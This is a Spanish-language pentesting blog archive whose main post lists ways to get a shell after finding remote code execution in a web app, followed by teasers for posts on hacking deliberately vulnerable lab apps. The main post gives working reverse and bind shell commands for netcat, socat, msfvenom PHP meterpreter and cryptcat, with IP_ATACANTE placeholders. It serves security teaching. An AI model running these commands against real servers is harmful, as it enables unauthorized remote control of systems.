Archivo

Posts Tagged ‘ataques contra servidores web’

15 formas de generar una webshell – Parte 1

marzo 27, 2020 Deja un comentario

Si tenemos la suerte de encontrar una vulnerabilidad que nos permita la ejecución de instrucciones en una aplicación web, lo siguiente que se debe considerar es la mejor forma de aprovechar dicha vulnerabilidad. La forma más común consiste evidentemente en intentar subir una webshell que permita la ejecución de instrucciones contra el sistema comprometido y en este sentido encontramos bastantes alternativas que dependiendo del entorno y plataforma sobre la que está montada la aplicación web pueden ser más o menos óptimas. A continuación os dejo un listado de 15 alternativas diferentes (distribuidas en 3 posts) a la hora de generar una webshell en una aplicación web vulnerable.

 

1. NETCAT.

Se trata del mecanismo más clásico, tradicional y conocido. Probablemente la mayoría de personas que inician en el mundo del hacking aprenden primero a utilizar esta sencilla herramienta. Dada su simplicidad no merece la pena dedicar muchas líneas a éste mecanismo ya que basta con decir que permite la creación de shells del tipo bind y reverse gracias a la opción “-e”. No obstante, hay que tener en cuenta que dependiendo de la versión de Netcat instalada en el sistema objetivo éste método podría no ser viable ya que por seguridad la opción “-e” no se encuentra disponible en el paquete, es decir, que en el momento de compilar el programa no se ha habilitado la conocida opción “GAPING_SECURITY_HOLE” de Netcat. Las condiciones necesarias para que éste mecanismo funcione son:

  • la aplicación web vulnerable debe permitir la ejecución de instrucciones directamente contra el sistema operativo
  • El sistema operativo del objetivo debe tener “netcat” instalado y con la opción “-e” habilitada.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
nc -lvvp PUERTO_BINDSHELL -e /bin/bash nc -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
nc -vv IP_ATACANTE PUERTO_REVERSE_SHELL -e /bin/bash nc -lvvp PUERTO_REVERSE_SHELL

En éste caso se asume que el sistema objetivo tiene “/bin/bash”, evidentemente. Ahora bien, en el caso de que Netcat no tenga habilitada la opción “-e” no significa que sea imposible crear una bind/reverse shell utilizando esta herramienta. Se puede y lo explicaré en el siguiente post.

2. SOCAT.

Si bien Netcat es conocido como “la navaja suiza de los hackers”, socat provee incluso más características y es más potente que netcat sin embargo, esto significa que es también un poco más complejo. Hace algunos años escribí un par de artículos sobre ésta herramienta que puedes ver aquí y aquí. Evidentemente, para que éste mecanismo funcione es necesario que el sistema objetivo tenga socat instalado.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
socat TCP-LISTEN:BINDSHELL_PORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane socat FILE:`tty`,raw,echo=0 TCP:IP_VÍCTIMA:BINDSHELL_PORT

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
socat tcp-connect:IP_ATACANTE:PUERTO_REVERSE_SHELL exec:sh,pty,stderr,setsid,sigint,sane socat file:`tty`,raw,echo=0 tcp-listen:PUERTO_REVERSE_SHELL

3. MSFVENOM

Utilizar la herramienta msfvenom disponible en Metasploit Framework es otra de las alternativas más comúnmente utilizadas a la hora de crear una webshell. Una de las ventajas que tiene éste mecanismo es que permite generar una webshell para una plataforma concreta (php, python, java, ruby, etc) y que además permite especificar un payload de los que se encuentran disponibles en el framework de tal manera que será posible generar una sesión meterpreter si especificamos un payload de dicho tipo. El uso típico para generar una webshell del tipo “reverse” utilizando un payload de meterpreter podría ser el siguiente:

msfvenom -p php/meterpreter/reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_REVERSESHELL -f php -o webshell.php

Con éste sencillo comando se generará una webshell para PHP, la cual una vez ejecutada en la aplicación vulnerable generará una sesión meterpreter.

use exploit/multi/handler

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST “IP_ATACANTE”

set LPORT “PUERTO_REVERSESHELL”

exploit -j

Lo más importante a tener en cuenta es que debe coincidir el PAYLOAD, LHOST y LPORT indicados en el módulo “exploit/multi/handler” con los valores que se han puesto en msfvenom.

4. CRYPTCAT

Se trata de otro mecanismo interesante del que ya he escrito hace algunos años también aquí. En éste caso funciona de un modo muy similar a netcat, con la ventaja de que se encarga de cifrar toda la comunicación entre víctima y atacante. Obviamente, es necesario que el programa se encuentre instalado en el sistema objetivo y esto no es algo frecuente, por lo tanto éste método es utilizado principalmente en procesos de post-explotación una vez se tiene cierto grado de control sobre el sistema comprometido y es posible instalar programas como éste. En el post indicado anteriormente se enseña el procedimiento de instalación en sistemas basados en Windows, sin embargo en el caso caso de sistemas GNU/Linux la instalación depende de la distribución y es probablemente más sencilla, ya que por ejemplo, en el caso de sistemas basados en Debian se puede instalar con un simple “apt-get install cryptcat”.

Dicho esto, para generar una bind shell se ejecutarían los siguientes comandos:

VÍCTIMA ATACANTE
#mkfifo bindshell

#cryptcat -k password -l -p PUERTO_BINDSHELL 0<bindshell| /bin/bash 1>bindshell

#cryptcat -k password -vv IP_VÍCTIMA PUERTO_BINDSHELL

Para generar un reverse shell sería de la siguiente forma:

VÍCTIMA ATACANTE
#cryptcat -k password -vv IP_ATACANTE PUERTO_REVERSE_SHELL #mkfifo reverseshell

#cryptcat -k password -l -p PUERTO_REVERSESHELL 0<reverseshell| /bin/bash 1>reverseshell

En este caso la comunicación estará cifrada utilizando TwoFish.

5. PENTESTMONKEY SHELLS

Este es otro de los recursos más tradicionales en el pentesting web. Pentestmonkey es un sitio web que contiene herramientas para llevar a cabo procesos de explotación y post-explotación, Cheat Sheets básicos para pruebas de SQL Injection sobre diferentes tipos de bases de datos y algunos artículos que si bien ya se han escrito hace bastantes años, suponen una buena fuente de información para pentesters que están empezando o incluso como referencia para aquellos más experimentados.

El recurso en cuestión en donde se pueden encontrar algunas webshells interesantes (en este caso para PHP y PERL) es el siguiente: http://pentestmonkey.net/category/tools/web-shells

Del mismo modo hay un Cheat Sheet que puede ser útil como referencia para probar diferentes mecanismos a la hora generar una reverse shell en un entorno con fuertes limitaciones (en el que por ejemplo, no se cuenta con un conjunto de herramientas mínimo para establecer una shell entre víctima y atacante obligando a realizar las conexiones de forma manual).

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Se trata de las alternativas que a mi juicio, son de las más comunes a la hora de generar una webshell aunque hay muchísimas más con su ventajas y desventajas, como todo. En los próximos dos post explicaré otras herramientas, proyectos y alternativas para explotar adecuadamente una vulnerabilidad de RCE y sacarle el máximo provecho.

Un saludo…

Happy Hack y Happy Health.

Adastra.

WEB HACKING – Atacando DOJO InsecureWebApp – Arachni contra Insecure WebApp – Parte XXXI

julio 17, 2013 Deja un comentario

Como se ha visto en el articulo anterior, algunos de los plugins de W3AF son bastante útiles para conseguir de forma rápida, información sobre una aplicación web y la infraestructura del servidor. En el articulo anterior, solamente se han incluido algunos plugins de descubrimiento de W3AF, en esta publicación, vamos a utilizar algunos de los plugins de auditoria y haremos una corta introducción a Arachni, el cual, como en el caso de W3AF, es una herramienta muy completa para la ejecución de pruebas de penetración contra aplicaciones web y aunque ya viene incluida en Dojo, es interesante realizar una instalación manual de la herramienta con la última versión disponible.

Leer más…

WEB HACKING – Atacando DOJO InsecureWebApp – Enumeración – Parte XXX

junio 13, 2013 Deja un comentario

Otra aplicación web vulnerable existente en DOJO es InsecureWebApp, dicha aplicación se encuentra escrita en JSP y contiene una buena cantidad de ejemplos de funciones vulnerables que pueden ser explotadas fácilmente. En los siguientes posts hablaré sobre dichas vulnerabilidades y como es posible explotarlas. El primer paso, como se ha mencionado en muchas ocasiones, es el de recolectar tanta información como sea posible sobre la aplicación web. No solamente son importantes los detalles técnicos, también es muy importante conocer detalles funcionales sobre la aplicación en cuestión, saber para que está hecha y en general cuales son sus características.

Leer más…

WEB HACKING – Atacando DOJO Hackme Casino – Sesiones inseguras en Ruby On Rails – Parte XXIX

mayo 16, 2013 Deja un comentario

Cuando se utiliza una plataforma como Ruby OnRails, es conveniente tener presente que hay ciertas “buenas practicas” que se deben seguir para desarrollar de forma segura, muchas de esas practicas, como prácticamente todo en el mundo de la seguridad informática, son simplemente de sentido común, otras resultan un poco más complicadas de entender y de cumplir. Sin embargo, en el caso de las sesiones que se pueden manejar en Ruby OnRails, es importante para un desarrollador, entender, cumplir y comprobar que se siguen las pautas adecuadas para tener la información segura y el sistema funcionando como corresponde. La razón por la que es importante prestarle atención a las sesiones en Ruby OnRails, radica en que existen varios métodos de almacenamiento que pueden ser implementados y que si no somos lo suficientemente prudentes, nos podemos encontrar con que la información que tenemos almacenada en dichas sesiones puede ser fácilmente comprometida por un atacante, que es justo lo que ocurre con HackMe Casino. Antes de entrar en la parte practica de está publicación, intentaré explicar un poco, como es el funcionamiento de las Sesiones en Ruby OnRails (que es más flexible que en otros lenguajes de programación tradicionales como JSP o PHP)

Leer más…

WEB HACKING – Atacando DOJO Hacme Casino – Controladores inseguros en Ruby OnRails – Parte XXVIII

HacMe Casino es una aplicación deliberadamente vulnerable que se encuentra escrita utilizando el framework Ruby On Rails, hasta este punto se han mencionado algunas vulnerabilidades que se suelen encontrar en muchas aplicaciones web, independiente de la plataforma utilizada, tales como SQL Injections, XSS Stored/Reflected, CSRF, Session Fixation, etc. Sin embargo, para un atacante siempre resulta útil conocer como funciona la plataforma que es utilizada para servir el sitio web, tanto el lenguaje de programación como el servidor, como se ha mencionado en reiteradas ocasiones, la información es la clave, entre más información se cuente sobre un objetivo, es mucho más probable realizar ataques exitosos.

Leer más…

WEB HACKING – Atacando DOJO Hacme Casino – Otras Vulnerabilidades Parte XXVII

Las dos vulnerabilidades que se han explicado anteriormente sobre HacMe Casino, permitían que cualquiera pudiera acceder y manipular de forma arbitraria, la información de otros usuarios en el sistema. En está ocasión se examinarán otras vulnerabilidades existentes en la aplicación para poder analizar su impacto.

Leer más…

WEB HACKING – Atacando DOJO Hacme Casino – Vulnerabilidad CSRF Parte XXVI

abril 30, 2013 1 comentario

En el articulo anterior, ya teníamos acceso a la aplicación utilizando una cuenta de usuario valida, gracias a una vulnerabilidad de SQL Injection que permitía realizar un “ByPass” del mecanismo de autenticación implementado (login/password). Se trata de una vulnerabilidad que, aunque cada vez suele ser más rara de encontrar, sirve para demostrar lo que es una Blind SQL Injection en todo su esplendor…

En esta ocasión, aprovechando que ya se cuenta con acceso a la aplicación, se procederá a analizar las algunas peticiones HTTP de la aplicación para intentar detectar cualquier otra “brecha” que nos permita hacer más “daño”. Para ello, como el lector seguramente ya comprenderá, basta con utilizar un proxy web como por ejemplo Burp Proxy, OWASP Zap o incluso algún que otro plugin de Firefox que sirve, básicamente para lo mismo, como por ejemplo Tamper Data o Live HTTP Headers.

Leer más…

A %d blogueros les gusta esto: